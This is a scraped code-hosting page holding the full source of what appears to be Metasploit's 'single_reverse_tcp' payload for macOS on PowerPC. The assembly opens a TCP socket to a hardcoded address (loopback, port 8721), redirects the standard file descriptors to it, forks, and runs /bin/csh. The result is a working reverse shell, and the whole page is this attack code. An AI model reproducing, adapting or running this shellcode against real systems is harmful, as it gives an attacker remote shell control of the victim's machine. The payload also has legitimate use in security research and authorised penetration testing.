-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathshellcode-122.c
executable file
·82 lines (69 loc) · 1.42 KB
/
shellcode-122.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
;;
;
; Name: single_reverse_tcp
; Qualities: Can Have Nulls
; Platforms: MacOS X / PPC
; Authors: H D Moore < hdm [at] metasploit.com >
; Version: $Revision: 1.1 $
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Connect back and spawn a shell
;
;
;;
.globl _main
.text
_main:
;; socket
li r3, 2
li r4, 1
li r5, 6
li r0, 97
sc
xor r0, r0, r0
mr r30, r3
bl _connect
.long 0x00022211
.long 0x7f000001
_connect:
mflr r4
li r5, 0x10
li r0, 98
mr r3, r30
sc
xor. r5, r5, r5
_setup_dup2:
li r5, 2
_dup2:
li r0, 90
mr r3, r30
mr r4, r5
sc
xor r0, r0, r0
subi r5, r5, 1
cmpwi r5, -1
bnel _dup2
_fork:
li r0, 2
sc
xor. r5, r5, r5
_execsh:
xor. r5, r5, r5
bnel _execsh
mflr r3
addi r3, r3, 28
stw r3, -8(r1) ; argv[0] = path
stw r5, -4(r1) ; argv[1] = NULL
subi r4, r1, 8 ; r4 = {path, 0}
li r0, 59
sc ; execve(path, argv, NULL)
; csh removes the need for setuid()
path:
.ascii "/bin/csh"
.long 0x00414243